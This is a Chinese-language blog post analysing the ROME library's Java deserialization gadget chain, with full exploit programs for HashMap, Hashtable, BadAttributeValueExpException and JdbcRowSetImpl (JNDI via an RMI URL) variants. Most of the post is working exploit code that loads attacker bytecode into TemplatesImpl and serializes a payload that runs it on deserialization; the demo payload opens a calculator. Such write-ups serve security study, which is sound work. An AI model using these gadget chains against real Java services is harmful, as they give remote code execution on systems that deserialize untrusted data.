ROME链

ROME链

介绍

ROME是一个用于解析和生成RSS和Atom提要(feed)的开源库。它简化了处理各种格式的RSS和Atom提要的过程,并支持几乎所有常见的RSS和Atom格式版本。

环境

jdk8u65

1
2
3
4
5
<dependency>  
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>

ROME反序列化链

利用链

1
HashMap#readObject -> ObjectBean#hashCode() -> EqualsBean#beanHashCode -> ToStringBean#toString() ->ToStringBean#toString(String) -> TemplatesImpl.getOutputProperties()

分析

Rome主要是调用 ToStringBean#toString函数,通过里面的pReadMethod.invoke来执行TemplatesImpl#getOutputProperties(),这个函数并不陌生,在fastjson利用到过,并且后续部分在cc链学习过。所以我们希望控制的参数有this._objthis._beanClass。这两个参数就是该类构造函数的参数。

BeanIntrospector.getPropertyDescriptors函数是获取传入的Class对象对应的类中,这个类属性的gettet和setter函数,所以传入this._beanClass是一个TemplatesImpl的Class对象,pds数组中就一定会有getOutputProperties这个方法,接着循环取出pds中的函数依次用反射操作调用,当pReadMethod.invoke反射调用到getOutputProperties方法时,this._obj是我们构造的恶意TemplatesImpl类,就可以触发TemplatesImpl链执行命令了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);

try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception var8) {
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
}

return sb.toString();
}

我们可以去找哪里调用了toString方法。

1
2
3
4
5
HashMap#readObject -> ObjectBean#hashCode()

public int beanHashCode() {
return this._obj.toString().hashCode();
}

整个链子不难,我们尝试一步步构造EXP,先从demo开始。从链尾一步步向前推。

先来个简单的TemplatesImpl链demo复习一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class demo1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl templates = new TemplatesImpl();

byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\calc.class"));
byte[][] evilcode = {evil};

Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"cmisl");

Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,evilcode);

Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

templates.getOutputProperties();

}
}

接着写出从toString作为链首的demo,根据最开始的分析很显然只需要让this._beanClass是TemplatesImpl的Class类对象,this._obj是构造的TemplatesImpl恶意类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class demo2 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
TemplatesImpl templates = new TemplatesImpl();

byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\calc.class"));
byte[][] evilcode = {evil};

Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"cmisl");

Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,evilcode);

Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(templates.getClass(),templates);

toStringBean.toString();

}
}

EXP

经过上面两个demo,我们接下来可以很轻易编写整条链的EXP了。中途需要从ObjectBean#hashCode方法到EqualsBean的beanHashCode方法,不过我们在初始化objectBean时候,objectBean内部就初始化了这个类,就不需要我们多写一步。不过,我们在构造EXP时,要先给objectBean里面_equalsBean设置一个其他类,避免在HashMap#put时提前触发恶意类指令,HashMap#put完之后将之前先给objectBean里面_equalsBean替换回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class EXP {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();

byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\calc.class"));
byte[][] evilcode = {evil};

Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"cmisl");

Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,evilcode);

Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
//先给objectBean里面_equalsBean设置一个其他类,避免在HashMap#put时提前触发恶意类指令
ObjectBean objectBean = new ObjectBean(String.class, "cmisl");

HashMap hashMap = new HashMap();
hashMap.put(objectBean,"cmisl");

//HashMap#put完之后将之前先给objectBean里面_equalsBean替换回来
Field equalsBean = objectBean.getClass().getDeclaredField("_equalsBean");
equalsBean.setAccessible(true);
equalsBean.set(objectBean,new EqualsBean(toStringBean.getClass(), toStringBean));

serialize(hashMap);
unserialize("ser.bin");

}

public static void serialize(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object o = objectInputStream.readObject();
return o;
}
}

扩展

HashTable 替换 HashMap

HashTable 里面,对于 HashTable 中的每个元素,都会调用 reconstitutionPut() 方法,在reconstitutionPut() 方法中会调用键的hashcode函数,后续和HashMap一样了。不过不需要替换objectBean里面_equalsBean了。

1
2
3
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"cmisl");
serialize(hashtable);

BadAttributeValueExpException利用链

BadAttributeValueExpException#readObject()中会调用toString方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

构造一个BadAttributeValueExpException类,将其val属性设置为构造的toStringBean即可。当然要用反射来设置,因为在构造函数中,赋值val前会把我们传入的toStringBean调用toString,那么我们就无法正常接下来的序列化恶意类了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class ROME_BadAttributeValueExpException_EXP {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();

byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\calc.class"));
byte[][] evilcode = {evil};

Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"cmisl");

Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,evilcode);

Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,templates);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("cmisl");
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);

serialize(badAttributeValueExpException);
unserialize("ser.bin");

}

public static void serialize(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object o = objectInputStream.readObject();
return o;
}
}

JdbcRowSetImpl利用链

Fastjson中常出现的JdbcRowSetImpl的JNDI注入。

image-20240713032003465

利用链

1
HashMap#readObject -> ObjectBean#hashCode() -> EqualsBean#beanHashCode -> ToStringBean#toString() -> ToStringBean#toString(String) -> JdbcRowSetImpl#getDatabaseMetaData()

可以写个小demo体会一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.*;

public class demo {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/evilexp");

ToStringBean toStringBean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);

toStringBean.toString();
}
}

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class ROME_JdbcRowSet_EXP {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/evilexp");

ToStringBean toStringBean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
ObjectBean objectBean = new ObjectBean(String.class,"cmisl");

HashMap hashMap = new HashMap();
hashMap.put(objectBean,"cmisl");

Field equalsBean = objectBean.getClass().getDeclaredField("_equalsBean");
equalsBean.setAccessible(true);
equalsBean.set(objectBean,new EqualsBean(toStringBean.getClass(),toStringBean));

serialize(hashMap);
unserialize("ser.bin");
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object o = objectInputStream.readObject();
return o;
}
}


ROME链
http://example.com/2024/07/13/ROME链/
作者
cmisl
发布于
2024年7月13日
许可协议